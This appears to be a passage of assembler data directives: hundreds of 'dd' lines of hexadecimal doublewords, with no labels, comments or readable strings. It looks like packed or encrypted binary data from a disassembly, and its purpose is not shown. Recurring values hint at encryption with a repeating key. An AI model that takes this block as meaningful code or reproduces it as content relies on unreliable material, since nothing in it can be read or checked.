		dd 74F75EE7h, 95F69F72h, 73C2297Ch, 0F1E5F8E3h,	6CAE6BBFh
		dd 0BC1CA3D7h, 6B20C326h, 0A58E146Eh, 0A428D213h, 26F21450h
		dd 6A99EDDCh, 6D5F7B8Fh, 6CFCFE17h, 93AEB887h, 0BCBA93F5h
		dd 840EAD26h, 8AB74ADh,	0BB30B78Eh, 59D85B8Dh, 78636818h
		dd 0E07E8B1Bh, 0EA28C393h, 0A24806D2h, 0A4E10093h, 4667450h
		dd 0B8E1451h, 0F3FAA2C8h, 8A499B6Ch, 60ACBB16h,	0BE22AD6Bh
		dd 55121450h, 97EFCD66h, 251D21C2h, 0A40B646Eh,	0A40B3281h
		dd 999B4450h, 6A0F9BFEh, 0A58EC5E6h, 0F08F1450h, 0A58E0FECh
		dd 9CB1DD8h, 898F1451h,	0A58E0FE8h, 0A429D213h,	72551450h
		dd 0C58E146Eh, 331654BAh, 12102565h, 0DD2137FDh, 0DA44702h
		dd 0AF57D368h, 3A7142E5h, 0D97F449Ah, 72D17DE5h, 816650A9h
		dd 936D81DCh, 0B001713Ah, 1B83B851h, 68C94492h,	579C54DCh
		dd 8670207Ah, 94800C99h, 68C94492h, 0F4497CE8h,	0AAEE8CF7h
		dd 6301467Ch, 0EF594281h, 880170F7h, 0C4DDF5Ch,	5D014644h
		dd 47CE36A3h, 88914A02h, 0AEB1E26Ch, 0A5004645h, 0B001508Ah
		dd 0AF6E3D94h, 0C4BD7B45h, 0B816BD06h, 0C47B9CE3h, 7C2B1CBEh
		dd 0AF8418C9h, 8A214645h, 3D0E57B5h, 273A1D8h, 7493DCBAh
		dd 90AF4484h, 0B00141FBh, 4FF89C9Ch, 3B10DCEFh,	7F848A9Eh
		dd 821467Bh, 923988C0h,	0B0006B90h, 13764645h, 8298F695h
		dd 0CF3777D1h, 0D8FE28Dh, 0C8CC43D6h, 9B014189h, 0B0014670h
		dd 70353CA2h, 0AF6C18A0h, 0E5D4645h, 7456199Dh,	5E19459Bh
		dd 0BECD4Bh, 9E6EECDBh,	0B001508Ch, 0C6760577h,	979F8642h
		dd 0DBD37B5Ah, 5B0E27AEh, 0AF33B7B8h, 19C991B1h, 0AF84837Ah
		dd 0DF058D45h, 9B014645h, 0B00141D5h, 0FA7FE743h, 23FB86B5h
		dd 6CD19F90h, 795A556Eh, 3971A6C8h, 20E12822h, 280954DCh
		dd 0F183B91Eh, 19C94380h, 0B0017B7Ah, 7F2C8D45h, 9B01467Bh
		dd 0B00141DDh, 0E271626Bh, 0A86A9117h, 0C895F106h, 8214645h
		dd 45A5848Ch, 0A14B4496h, 75D0439Ch, 0B2991EDh,	0C818E32h
		dd 50014644h, 0E481461Eh, 3D47A362h, 0AF845B25h, 4DBFD545h
		dd 0B020CC82h, 0B0014733h, 0D9368BFFh, 3EE54BF1h, 43C4C842h
		dd 101E6245h, 0C8C1467Bh, 0DF808A20h, 0C8C9ADECh, 190141D5h
		dd 0AF8458EEh, 91AFA645h, 0B00141FBh, 3C24439Ch, 4F1265BDh
		dd 431F00F0h, 0C4C45B9Ah, 0B0014760h, 1BFA2F24h, 0C36842Ch
		dd 690E66ABh, 1C9FAAA7h, 5AF79AB8h, 2DD58B9Bh, 9400480Ch
		dd 0B001BD0Ch, 1899E364h, 36788CF9h, 1901467Bh,	0B00161FFh
		dd 490FDE45h, 0FDAFB48Bh, 0B0014803h, 0AEB28006h, 370A4645h
		dd 48C94104h, 0B0014731h, 0AF845A94h, 53F2CB45h, 0AB4E0BD3h
		dd 0B3D04EC1h, 0B00141E8h, 369DF769h, 848ACD13h, 0CDBC883h
		dd 6D04A644h, 0E5BF9743h, 1945999Ch, 0B001476Eh, 0AF5DDC06h
		dd 0F6DA4645h, 48014644h, 0BAD7E8D6h, 0FDA4DF8Eh, 782BEF86h
		dd 9A8DDE93h, 3B0A4F36h, 0B0039747h, 0C50A4645h, 0C9D047C3h
		dd 0D481B8E5h, 326D5602h, 0B00141F9h, 0B4617B2h, 0CE26179Bh
		dd 95D220EBh, 0AEB16C9Ah, 8F6C4645h, 30F444Eh, 43F0E226h
		dd 335D138Ah, 0AAC45B77h, 0B001617Bh, 6929DE45h, 5AAF8F34h
		dd 9B4B4202h, 884B81E2h, 4E01467Bh, 0B3C5C7B8h,	0B0014733h
		dd 0F6E88C99h, 62B33953h, 690EE89Ch, 0B007F7DCh, 6B474645h
		dd 19C9DD93h, 0AC47F180h, 0B0014645h, 7CE8E283h, 14C95704h
		dd 0AF848D26h, 2D6D4645h, 0EB17C599h, 206EB43Ch, 0DE8A6C8Fh
		dd 0AEB38006h, 49214645h, 10E93A19h, 36014644h,	8DE59BEEh
		dd 0BDDFDA5h, 703C52B8h
		dd 7BE98B9Bh, 37014644h, 0CEB56664h, 0AFA4FE5Eh, 0A5BCF8DCh
		dd 0AAA63919h, 0B3C8245Dh, 0B0014732h, 4FE62FCDh, 0A92926ECh
		dd 0A49DA983h, 2E0FDF35h, 1020535Ch, 14526F7Fh,	0AF6F2A79h
		dd 0B604A645h, 88E6F0C0h, 2272D89Bh, 0AEB30BF2h, 7D004645h
		dd 0F441B513h, 6BA2A949h, 0A620973h, 62CA7AE1h,	0AFA70E05h
		dd 400A4645h, 0CDA4642h, 0FF014644h, 4BC419B7h,	3009D411h
		dd 0CF789DADh, 0A6519D52h, 68D9A1DAh, 0AF6ED063h, 7BB4645h
		dd 6341B7D8h, 4052A732h, 4F52BFB7h, 0CD0F70Dh, 2839B8D8h
		dd 5B6552B8h, 43AF8B9Bh, 0B00141F9h, 65121B64h,	19C94380h
		dd 0AEB2A9FFh, 192C8D45h, 9B01467Bh, 0B0014733h, 1853FC81h
		dd 2E115A3Eh, 654818F1h, 0C8E26BE4h, 0E69E4645h, 0B0D20877h
		dd 0F2BB1A6Fh, 0C366509Dh, 4F6FE92Ch, 43D9FD0Dh, 0E44B4499h
		dd 0AFF90E06h, 91004645h, 0B001467Eh, 0AF849194h, 7FD52D45h
		dd 0E3724104h, 1B3E3A10h, 758396FCh, 53C291DAh,	0C8C8DEFAh
		dd 28114645h, 70E094E7h, 83248650h, 32CA7DEBh, 283854DCh
		dd 3001371Dh, 0C90CDADCh, 0B27D4645h, 0C9AF0954h, 99BD4645h
		dd 21A71618h, 0F08D78D7h, 0FBF20988h, 0AF6DC7D1h, 0B22C8D45h
		dd 50014645h, 0B44B73B1h, 0EB81819Ch, 0AB01467Bh, 0F709C93Dh
		dd 0AF844993h, 291C6F45h, 6FAE6944h, 0FDAF6C09h, 0B0014696h
		dd 0AF846494h, 93D9E945h, 3CF7453Dh, 0AF846525h, 0C5EEA445h
		dd 0EDEE3EC4h, 7D7BF5B1h, 0C30B38CAh, 0B00161C3h, 31B7DE45h
		dd 101C3852h, 0B0018626h, 1FFEBC45h, 3FD4F09h, 97C78B0Ah
		dd 3386F884h, 3AC4314Fh, 0A2AF9433h, 0B001476Eh, 0D595F223h
		dd 3D4B43BCh, 0AE382D9Eh, 0AF84D87Ah, 864AA645h, 366D73DAh
		dd 8C6CC868h, 0B0014189h, 0A5474EE5h, 2DD05129h, 6D24772Dh
		dd 5AE9511Ah, 19D04F1Ch, 0B0017079h, 0D987DE45h, 0C4862B06h
		dd 41214645h, 1415211Fh, 36ECF70Dh, 62494392h, 101C3852h
		dd 884C449Bh, 4801467Bh, 8EA51CBh, 0CCB32B1Eh, 366F52E8h
		dd 543F02F5h, 4A45E939h, 366B71FBh, 0B30A9CD2h,	14526936h
		dd 0AF8479B1h, 264CA645h, 0CA014644h, 0D22C1554h, 20548DFAh
		dd 9BA45312h, 0C047ED63h, 0B04343D7h, 0B00150B8h, 0D6BCBB00h
		dd 2EF42A5Bh, 0AD99ABE8h, 0F07932D1h, 8121C132h, 0AF6ED063h
		dd 7BB4645h, 633B8FD8h,	0B1210C32h, 0B001471Eh,	7F3CC23Ah
		dd 7083FE7Fh, 0C0081ECAh, 0B7FA3953h, 0B0014704h, 0D036274h
		dd 0B9E67F3Dh, 0B01C92D1h, 0B001476Fh, 0FF1B6376h, 0B05A06Ah
		dd 0EC5BAB62h, 0B3C94380h, 0B0014706h, 0F55AA4F6h, 0A62B268Bh
		dd 67FB7B23h, 83DA908Ah, 0B001777Bh, 0B0018594h, 5A8A8745h
		dd 5C99B118h, 669ADCEh,	0C09B0BB6h, 303A39BEh, 88946EDBh
		dd 0AF8477D2h, 8E733245h, 193C0A57h, 0AF846477h, 0AAEE8D45h
		dd 5001467Ch, 0AE28269Ah, 0AF848CB9h, 144CA645h, 3C01467Bh
		dd 278CBE62h, 1B8464E6h, 0ED122EBDh, 3FB99C52h,	0D5972B1h
		dd 0F1837D9Bh, 68C94380h, 0C1B0FBBDh, 27BB32F0h, 703CE2B2h
		dd 0B7E98B9Bh, 0BB014645h, 19E0002Eh, 49CDD675h, 2A2BF499h
		dd 1E5B429Bh, 7F3DFCB8h, 86DB10Eh, 0B0014705h, 0AF844994h
		dd 94A9EE45h, 2ACDF4D9h, 0B0D59D3Fh, 0B0014645h, 0F107E283h
		dd 0E0269EB8h, 0DC94FFA1h, 0DB26067Dh, 0CB5D224Bh, 6FCE9FD3h
		dd 20239B14h, 6C1E2B01h, 0CC6BE505h, 4FD314D3h,	0E400FE1Fh
		dd 80449A8Fh, 633758A6h, 65549C0Dh, 0E6A9CE8Fh,	0E4DA1E76h
		dd 799E00A5h, 0E9A4F425h, 33A4E699h, 0C8EE9FEDh, 3AB23EEDh
		dd 9806E40Dh, 94EE9FD2h, 0F131A975h, 9129E51h, 3FBF75FEh
		dd 7491E126h, 0CB5E504Ah, 0AEEF9FD3h, 0CDEEA91Ch, 0CC819602h
		dd 0A5AE86D3h, 8FB60F30h, 92E5A944h, 81EA881h, 2C064BF5h
		dd 0F4EE9FD2h, 70E7AA90h, 0CC866D5Dh, 36EEA053h, 0CC6BC8CAh
		dd 0CBC0E6D3h, 6DEE9FEAh, 356BF60Ch, 0CC6BB178h, 36A4E6D3h
		dd 6DEE9FEDh, 773F150Ch, 2DCF06BFh, 0CC810C86h,	2D359FD3h
		dd 7DEE9FD2h, 8DCA6801h, 0CD9B6B73h, 8556B403h,	0CC15715Ch
		dd 3B7A9FD3h, 86E9AA6Ch, 3970554Ah, 2D6CE117h, 36EE9FEDh
		dd 0CC6BCF78h, 0E1EBE6D3h, 55EE9FD3h, 0CC821FEDh, 0B76BE3F2h
		dd 0CDEE9A4Fh, 0A77E934Eh, 0C5558496h, 5E72FC56h, 39DF0D26h
		dd 0ACFB6E30h, 9FCA888h, 36269C16h, 0CDEEBAECh,	0F19437D3h
		dd 0CC809102h, 0EFFEB5D3h, 7C02F8C1h, 0EF2F7B72h, 0E36E9B73h
		dd 0B655D1DDh, 65BDD8FDh, 0CC6BBEB3h, 7FEC4FD3h, 0FD722D08h
		dd 0E5277156h, 0C5CD9FD3h, 589DAC53h, 87E976B7h, 316204F7h
		dd 0E6D5C40Dh, 313A9FD3h, 3B32A740h, 9D9349F5h,	0CDEE9A05h
		dd 336EA1D3h, 2DCFF17Ch, 0E6406464h, 9CD99FD3h,	0BFBAA5D2h
		dd 1380CFF8h, 10D72596h, 8643FE27h, 7498AD4Ah, 0CDAAFEECh
		dd 9CB96373h, 0CDCE9FEDh, 0CDEE9A7Eh, 9506884Ch, 0C11EC60Ah
		dd 50B486Dh, 280303A2h,	3CF34B0Dh, 53FAFD1Ah, 0CDED6328h
		dd 0C42C9FD3h, 6D15CD5Ch, 0FD638EEEh, 0E02DE95Bh, 28621F9Dh
		dd 0CDCE65A4h, 0CDEEA090h, 0F49A4E0h, 0CEA1F1A8h, 439FCB7Bh
		dd 0E4723A39h, 0CC819602h, 5B768CD3h, 0D87D012Ch, 74161073h
		dd 45F3A618h, 0CC486440h, 0C3639FD3h, 0B5876813h, 36EFEDC6h
		dd 0BBF64954h, 0B9A401A0h, 0E501DA73h, 6BEE9FD3h, 45C438B5h
		dd 3695640Ch, 45F69FEDh, 0CDEE8E4Ah, 4CEF9FD3h,	0CDEE9A6Ch
		dd 0ECCED15Bh, 0FDE9718Dh, 0CC81C40Ah, 3C489FD3h, 0E1CFB4F8h
		dd 0CF124AA2h, 0C8C24B1Dh, 74CE9A62h, 280E2F63h, 0CB5A6328h
		dd 0C00C9FD3h, 7E291D72h, 6DBA44Bh, 0C08932DDh,	5CE987C6h
		dd 0CDC30C73h, 311D3B5Ch, 0B5400031h, 0CDEE9A6Ch, 0CCB965B6h
		dd 60C99FD3h, 27850318h, 0F6FF8673h, 0A6FF26CFh, 53A14653h
		dd 9D9C362Bh, 0CC809154h, 0CF6EE6D3h, 36EE9FD3h, 0CDEEA0E5h
		dd 6FCB4AD3h, 9099FE63h, 88CB9B83h, 0F0901A8Fh,	35A59EE0h
		dd 0CCA3AAF4h, 4FEE9FD3h, 0F0DB62ECh, 0CB93E50Dh, 0CC8083CBh
		dd 0CC4938D3h, 98CD9FD3h, 4D247235h, 9D43FE2Eh,	6CB195CAh
		dd 0EF3C267Eh, 0D06E9E33h, 53CC478Ah, 0CC819644h, 59E1CBD3h
		dd 0AE383FDEh, 9B644AF2h, 7CB42D1h, 6CA231C4h, 0E57E224Ah
		dd 2C069FD3h, 0EBEE9FD2h, 0BF62EA6Ah, 3AA39B15h, 36EE9A6Ch
		dd 0CC808C7Bh, 0B86EFFD3h, 3D797508h, 45D6129Bh, 0B082E0AEh
		dd 0CDEEA1F2h, 0CC6BEA02h, 0C5DD89D3h, 84365F3Fh, 7CCA0BC6h
		dd 321F40ADh, 86F604ACh, 74AF509Bh, 0E1EBEA53h,	50EE9FD3h
		dd 0BB99B328h, 28621F9Dh, 29C8E7A4h, 36EE9FD2h,	0CDEECF69h
		dd 86CEFFD3h, 36CBF90Ch, 0CC6BF052h, 0E1D838D3h, 0F359FD3h
		dd 0A49297E1h, 0B1994C54h, 6D9B94C4h, 1C349B14h, 7D97E600h
		dd 36EE9A6Ch, 0CDEEBA7Bh, 47A237D3h, 0D3EE9FD2h, 2F437CA4h
		dd 6CB0129Bh, 0E502DA0Dh, 50EE9FD3h, 0ADBD9C0Ch, 0D4C8F0DFh
		dd 0B8EE9FD3h, 0CDEE9A4Bh, 10CB03AFh, 0B89A8A67h, 0E74E3B9Ah
		dd 0CC6BF802h, 447529D3h, 0AD461719h, 5FABBB26h, 0D74E7799h
		dd 93A80F24h, 3259E56Ah, 34EE9FEDh, 853F1B6Dh, 0BBBDA70Dh
		dd 0CDEEA91Ah, 7C44F9C9h, 82485768h, 973DB011h,	4CB3EB47h
		dd 0A3A39C20h, 0C8EEA0CDh, 0BB90CDB1h, 0E36E01A0h, 0DA1905F1h
		dd 0CC6BDB45h, 0B1B01ED3h, 8F34DED3h, 0BB7F23C2h, 0ADCC8FF0h
		dd 2C35A720h, 79EE9FD2h, 759AF87h, 0E63B2702h, 0CD8839A0h
		dd 0CDEE9BB7h, 694765D8h, 298C30A9h, 81AE770Dh,	2E06EB62h
		dd 63EE9FD2h, 0E741E385h
		dd 86F309EBh, 0EB68B87Eh, 87A49A07h, 0F1A400C6h, 98A2240Ah
		dd 0A6EE9FEDh, 0F4522BE4h, 0F8FC3924h, 0A042688Dh, 74CE9A61h
		dd 0E59576ECh, 0AE40500Ah, 0CDEE9FE8h, 0CC6BEA02h, 0B3EA04D3h
		dd 8C5F5518h, 0E43848F7h, 6111A52h, 2BA4DBD7h, 36EE9FD2h
		dd 0CC819406h, 744138D3h, 2CCB2B41h, 0E1BC9288h, 57F44B8Ah
		dd 4C8D05B4h, 98FE0D9h,	6E6A37A2h, 9319D0A9h, 84976BEFh
		dd 6E6A596Eh, 164DAB41h, 0CA068E42h, 6EB767F0h,	0FED9F941h
		dd 0BAFFD3FDh, 0FF09C3ACh, 0D1CDD25Ch, 6D5ADC2Ch, 0AE6E2B41h
		dd 0B5DA3DEBh, 5B95AC6h, 4A0DEF22h, 6998477Ah, 6E6A37FAh
		dd 7E520136h, 79FA62F4h, 0F2B1320Dh, 5C0919A6h,	74F3020Ch
		dd 0CE6A2B41h, 6EB7D156h, 77D92B41h, 5C738545h,	6EB7FA84h
		dd 46B2B41h, 6E6A37F8h,	0CEB2760h, 7A2232BCh, 716A2B40h
		dd 6E6A2BD3h, 0FBD3E5A3h, 9157EAF5h, 0F9C6C262h, 744DA4D0h
		dd 0D4FF2B41h, 4887E63Bh, 5CD537C1h, 0AFDFF5A7h, 0CEBC7D04h
		dd 0D44397C2h, 6E819856h, 9F312B41h, 0D06A2B41h, 6DD6F1A2h
		dd 0E8B42125h, 9B6048A1h, 395C4015h, 0EF4F0D60h, 3164286Ah
		dd 0FB4C7960h, 6E6A2BC6h, 6B376F61h, 0F96A2B41h, 0DBD93EDAh
		dd 0CFA03539h, 0F4C97F9h, 6E6A2A17h, 0CF0D9007h, 0FAF4B304h
		dd 6EA75943h, 0DC322B41h, 198D5689h, 0BA12BE2Ch, 0E3041760h
		dd 0BB7A4F75h, 6DA91622h, 6EB7D7CCh, 6D33F841h,	6B0968FEh
		dd 999E2B41h, 0E66DFF56h, 0FDB9516Ah, 6DF000E9h, 6E6A4F6Dh
		dd 4C371441h, 0FB6B14FCh, 6E6A2B40h, 6D5CABE6h,	86312B41h
		dd 966A2B41h, 227D7B4Ah, 0EBD1D547h, 6F690F8Fh,	743B4218h
		dd 833B8C36h, 6E6A3659h, 0D51968BFh, 5F1E5784h,	0E6CA5AC8h
		dd 94F946Ah, 6E6A2B4Fh,	6EB75018h, 0F6152841h, 0D622B5E5h
		dd 6C17AC34h, 0D8DB17FEh, 0F4F22B5Eh, 128FDD3Ah, 6E6A5953h
		dd 6E8D0918h, 94D9E641h, 49A954DBh, 0D5FF817Bh,	7D17ACE0h
		dd 68AF17E5h, 68312B40h, 5D6A2B40h, 5DB10566h, 21DB9B51h
		dd 0E74EB43Dh, 0FE4D3044h, 0A0EADE22h, 0AE9363C2h, 0CE6A37A3h
		dd 6E8D06F0h, 0A93ACA41h, 4E790EBDh, 841DF938h,	0E30641F2h
		dd 0B5F2F358h, 9E4C3422h, 6E6A37A2h, 6517ACC8h,	84C717E6h
		dd 6D9E2B40h, 6EB7726Eh, 28978B41h, 4236038Eh, 0B08C2960h
		dd 0CCB6C92Bh, 0CC100B42h, 7496A085h, 459AB3C0h, 0D0072F0Fh
		dd 0CCB69AE4h, 99A05A09h, 4FF8EA23h, 4236A846h,	25AF1E78h
		dd 0CCB6C92Ah, 0CCA44742h, 353DA085h, 0CBB6A08Fh, 2B18C475h
		dd 0D5E5ECDFh, 0E049683Ch, 6530BDC3h, 5896CF08h, 36F40F78h
		dd 45FEAD78h, 3186B30Fh, 0CCB7F4DBh, 37B10085h,	3644CCC6h
		dd 6B7175C8h, 0AD4B48C0h, 0CCB69AEEh, 9E6B200Dh, 0CCB43378h
		dd 336DA085h, 31BEB30Fh, 0CCB642DBh, 2D37E785h,	31B6A084h
		dd 0CCB6BDADh, 66960085h, 1A48BD55h, 0CCB6BCF8h, 34DB8BE8h
		dd 8418345h, 669AA08Fh,	1A48A855h, 0CCB6CFDCh, 0CC106642h
		dd 0BBFEA085h, 52E24F6Fh, 5448FE26h, 0CCB69E2Dh, 0E0C71B0Ch
		dd 0F6369A12h, 0FC626BD6h, 0CCA6C6ACh, 0D969A085h, 0F8C59255h
		dd 0BC27B4Eh, 439B4211h, 0C29334DCh, 0E64937DDh, 18AAA085h
		dd 306D69F2h, 3EDD4C2Eh, 9442BAE1h, 32FF2F04h, 19124F4Dh
		dd 8A9FE5C6h, 8B6A08Fh,	31B8114Dh, 0CCB6BBC0h, 0CE36BC85h
		dd 0CCA47155h, 5DDCA085h, 0EA3D2F3Fh, 7A20D7B9h, 0D0011ADh
		dd 0A28D9586h, 19124F4Bh, 1A9FEBAEh, 31B69AEEh,	0CCB3BDDBh
		dd 0C736E785h, 6CB6A08Ch, 3C029D8Eh, 0E18516AFh, 286A1E5Fh
		dd 5CBCFE26h, 0B8EEC191h, 0CCB69E27h, 3A5FED94h, 0EC570BB4h
		dd 816936A5h, 0CCB3EAC6h, 0DC863C85h, 3129623Ch, 0F07FDAABh
		dd 9E2FD666h, 4134E65Dh, 31B6A08Fh, 0CCB3D0C5h,	0CB2EE785h
		dd 1BB6A085h, 0B1B7BC6Dh, 0CCB69A3Bh, 0CD3603A5h, 2E0E63DAh
		dd 28B6A084h, 762D5726h, 45FA016Bh, 0CC89C68Eh,	450CA085h
		dd 0C7714977h, 34EDB06h, 25BC2444h, 31A5A995h, 0CCB799D6h
		dd 3CBC985h, 2DF9BA2Fh,	0CCB3BD32h, 0A06C1685h,	0BFFA9D12h
		dd 0CC1D7075h, 0F250A085h, 9C233F7Ch, 0F2363BBCh, 4748E6ACh
		dd 0CCB69AD1h, 11DB74E8h, 0CCB3DC87h, 47D3BB85h, 7AB08942h
		dd 0C7550E9h, 0CA5152D8h, 0CC10CC6Eh, 0FC09E785h, 6CB6A085h
		dd 0CDE1553Ch, 0CCB69E26h, 0B14B1876h, 88150889h, 289371D6h
		dd 238CF4C0h, 76689103h, 0CCB6DEC6h, 51128985h,	826D8464h
		dd 9E79FE91h, 0AB072301h, 8BB96E0Dh, 350E94E7h,	0B0B6A08Fh
		dd 0CC2E4B0Fh, 1490E39Eh, 617C0352h, 2842DD8Ch,	8B85FF7Fh
		dd 0C270B54Ah, 52E24F69h, 0DDD96326h, 2EC8E295h, 31B6A084h
		dd 0CCB6BCF8h, 0CA5EBC85h, 0CCB69FF9h, 0DF330085h, 0E33694B2h
		dd 0CD9451A4h, 0CCB6A181h, 0EBA0DCA5h, 280812BBh, 8FF7E44h
		dd 0BBB6A08Fh, 0CCB69AE1h, 21568440h, 36969018h, 45C218A9h
		dd 6A9114EAh, 22FC59ECh, 0CCB77E87h, 4033E785h,	0BBB6A084h
		dd 0CCB69AE1h, 545D0708h, 93EE3F0Eh, 0A2020E90h, 58D63EB7h
		dd 67946167h, 0A5FF7E44h, 31B6A08Fh, 0CCB3D30Fh, 290E0085h
		dd 6BEC07EBh, 4300EFC4h, 138E9242h, 0D6200881h,	0FA777CB6h
		dd 7E51200Bh, 0E28ADA2Eh, 0C31AC8h, 0F8EC08ABh,	0F89747C8h
		dd 3A14FB71h, 8FEC07EBh, 2B7164CCh, 0F87552AFh,	817651C5h
		dd 0F8F48142h, 0B96107E8h, 0F8EC07E7h, 9F6F2C8h, 0F8FD7542h
		dd 0AE9007E8h, 1F98572Dh, 49EC07DAh, 0F8ECF128h, 56D29CE8h
		dd 0AD846468h, 73CC0D6h, 5CE9E4FDh, 0D7BB51B9h,	23242C25h
		dd 11F56B80h, 7D05962Fh, 0B605F250h, 0EE94E0D6h, 0A2945F40h
		dd 0A59C66C1h, 1C05C004h, 98B6F55Ch, 7B36C7C5h,	8984D087h
		dd 0B60A1B65h, 0E0019BD6h, 0DAA1CE44h, 6CA0B125h, 0C1430F03h
		dd 0AD8EA758h, 0B60A8963h, 0F9270DD6h, 119B6h, 4ECB0B01h
		dd 0A0D01735h, 3005C004h, 0AC97849Fh, 0B60A90E7h, 0AEA63CC9h
		dd 7EE5C0D6h, 0B605AFAEh, 0FFA040D6h, 7BD3A878h, 909F1724h
		dd 3005C004h, 1497BF9Fh, 2BA43965h, 0AB193A9Fh,	0B605C0D7h
		dd 0F43A4660h, 87162FFAh, 0B60942CBh, 221EC0D6h, 0B605C0DBh
		dd 0AEBF6687h, 733DC0D6h, 9F761127h, 1276939Dh,	6875FA2Fh
		dd 0C3B55C84h, 0B605C01Bh, 4D2A278Bh, 58BA99A1h, 43201CBh
		dd 73FEED39h, 1494C7DFh, 2E692674h, 37E5B1A7h, 21523ECFh
		dd 0B605A7DAh, 0B6054263h, 0F2D68D6h, 311341B9h, 8D62595Dh
		dd 0B63198CBh, 0A1EC0D6h, 0B605C0DBh, 94C36533h, 0C289C004h
		dd 0B605AFFCh, 9CCDB469h, 0F23A755Fh, 0F001A9F7h, 0A5CA4CA0h
		dd 0AD816465h, 8054C0D6h, 53DF2BFCh, 0F913784h,	6F33E5FCh
		dd 0DDEA90B4h, 65CA89DCh, 0B605C004h, 0E4D293D6h, 0B5709519h
		dd 0ACE5C0D6h, 0B605AD43h, 23DC6E8Ah, 0FFDF071Eh, 0B1DA66AAh
		dd 67CC0D6h, 0C0818785h, 8B926F9Dh, 0DE5F4A0Eh,	1AEBD8B1h
		dd 0ED8BDC6Ch, 7FE558D7h, 0B6052C65h, 0DCED0D6h, 4600B583h
		dd 337255A2h, 6180841Fh, 0ACE5EC0Eh, 0B60A90E3h, 0B68F2EC9h
		dd 4E5C0D6h, 0AD8128D7h, 0F17CC0D6h, 0C8E195B8h, 0DD80CA7Fh
		dd 30944C86h, 4276815Ch, 2BC9F52Ch, 7D31CF22h, 0B636631Ch
		dd 0DB9C0D6h, 0C001599Dh, 568FC37Eh, 0B60548BCh, 8C8BC3D6h
		dd 0B7CF63CCh, 7D0E4205h, 0B605B950h, 25BFB6D6h, 0B605C0DBh
		dd 0B08ADE87h, 0AEBF65C9h, 0AC39C0D6h, 332D4EBAh, 55D65FBBh
		dd 0CC1868D1h, 0B6052BBDh, 73500CD6h, 50750653h, 55B84170h
		dd 3EDE0688h, 75CDFCB2h
		dd 7C888484h, 0B60AF67Ah, 0AD8163D6h, 117AC0D6h, 0CC840F81h
		dd 8140AE89h, 6116E9D8h, 0A847DDEh, 4CD2F559h, 69B6150Dh
		dd 0AB05C004h, 0B605C004h, 0ADF4492Dh, 65CA5679h, 0B605C00Dh
		dd 1A94E0D6h, 0B63766D1h, 3857C0D6h, 0DAECB9F4h, 7DF6C32Ah
		dd 0B605BC59h, 0ED8A93D6h, 469C9304h, 0AB05C168h, 0B605AC2Eh
		dd 406484C1h, 7D16E44Eh, 0FD2C0D22h, 30B11F9Bh,	9205C004h
		dd 4C42C324h, 294F9FCBh, 0FD2F3E2Dh, 0B52A0F2Eh, 979CC0D6h
		dd 8F05C004h, 3C4FF279h, 0CC41F85Ch, 5F0D1449h,	0E1E5CE28h
		dd 1497543Bh, 0FD55A778h, 0B572402Eh, 979CC0D6h, 1505C004h
		dd 0C5BA504h, 1E858BE3h, 799E65C6h, 9138AA7Eh, 4C0DF317h
		dd 0AB05C004h, 0B605C14Fh, 2AD976Ch, 3C0EEF0Fh,	0D37EBF08h
		dd 4EF6C540h, 86B7D08Dh, 0D5BFE6D4h, 9A0DDEDCh,	0B905C004h
		dd 0FB78BCCFh, 71281502h, 0C546FBB9h, 800E8E58h, 0B61E6165h
		dd 0DFB715D6h, 5605C005h, 0DE9BC29Eh, 0AEBC667Ah, 1481C0D6h
		dd 4D523ED2h, 2BA5674Ah, 0EDB80D24h, 0F3282DCDh, 1399DE7Ah
		dd 8CFE8818h, 0B60A8965h, 0EC0246D6h, 12B0D066h, 0ACEADFABh
		dd 0B605C14Fh, 8829A803h, 0B466D8E8h, 22EB8E27h, 0DB6900C3h
		dd 597B1F5Eh, 0AEE766D4h, 5B8DE567h, 0F8EB67DDh, 0A9841FBBh
		dd 8817BFEAh, 0AEDBF97Ah, 0A4FC1067h, 2AB39A59h, 0E5BE09F4h
		dd 0A4CE927Bh, 62701067h, 60E910B5h, 24937AEDh,	99A181CCh
		dd 26531E84h, 0AEE91067h, 0CB690B79h, 0C13F2D0Dh, 0AEE66AAAh
		dd 48EF3467h, 6778583Ah, 0BE60F494h, 3EE1D683h,	93D21B86h
		dd 9C3E66F4h, 75E910B5h, 0AEE90DE7h, 0FD700C67h, 75E910BDh
		dd 0AEE679E1h, 9DE13067h, 65E910B5h, 0F8CC6F42h, 73F20374h
		dd 1E53489Ch, 0AEE91068h, 5EAF13C7h, 0A47BB02Eh, 0AEE91060h
		dd 8E3D9D0Fh, 1042754Fh, 751CE639h, 0AEE90E36h,	4620C67h
		dd 8412F616h, 0AEE768D4h, 0C2D0A767h, 1B8DA6D2h, 42F41D10h
		dd 73F482FBh, 0AEE97D35h, 90D16567h, 0A3E910B5h, 0AEE91060h
		dd 2D6E85FDh, 0BACBDCB9h, 0AEE911D7h, 6728127Ch, 28A87323h
		dd 0C7A70C55h, 3BF841FDh, 8C65A911h, 0C2781A64h, 0ED84D69Eh
		dd 0A5723F74h, 2BE91067h, 9AE1309Ch, 0B8E910B5h, 0BC980380h
		dd 0C603B684h, 81B18A34h, 0A635717Ah, 93701067h, 5FE910B5h
		dd 0E01DBE41h, 5A960492h, 0EC08E17Ah, 0B691C7E6h, 0E604D6F8h
		dd 0E6043C55h, 210444E6h, 0FB8BF5C3h, 0E1AA24A7h, 0E604D41Fh
		dd 17D031B0h, 0E7A043A1h, 5E926F40h, 0E595F8F3h, 554BA7E6h
		dd 6FA4D748h, 877898B0h, 585A4C68h, 0E1AAE01Bh,	0E604D5CCh
		dd 9803598Dh, 785681FBh, 5CD577A2h, 0A0EF728Ah,	0C191C523h
		dd 0E604C7E8h, 0E762CF46h, 2F29C7E6h, 84E715A8h, 2C2C1350h
		dd 24E1F5CAh, 0AF7E0710h, 0EEDD07AEh, 5BAAA660h, 0E59270B5h
		dd 0EECA1CE6h, 0D857C7E6h, 2AF9D26h, 445C5944h,	0E5938453h
		dd 1A97A7E6h, 5D6877BFh, 9504C7E8h, 48932C09h, 76C4E3EDh
		dd 5E08126Fh, 0C2B32AAAh, 5E92EE1Dh, 0E6041967h, 1D96C3E6h
		dd 8C1FFFFAh, 80A3A1F9h, 0E6045553h, 6FAC52E6h,	44DF920Dh
		dd 32AD1C7Ch, 3DD146ACh, 8EF6563Dh, 8EAAE01Bh, 0E6043A53h
		dd 62A2B6E6h, 74DB5999h, 0C2ECB7CEh, 20367740h,	1D97A450h
		dd 0B7CD4776h, 0E604D375h, 0E592BCFBh, 64A4C7E6h, 0D090DD16h
		dd 0E604C7E7h, 0E5F7D2FBh, 5C0BC7E6h, 0EC932E06h, 0E604D375h
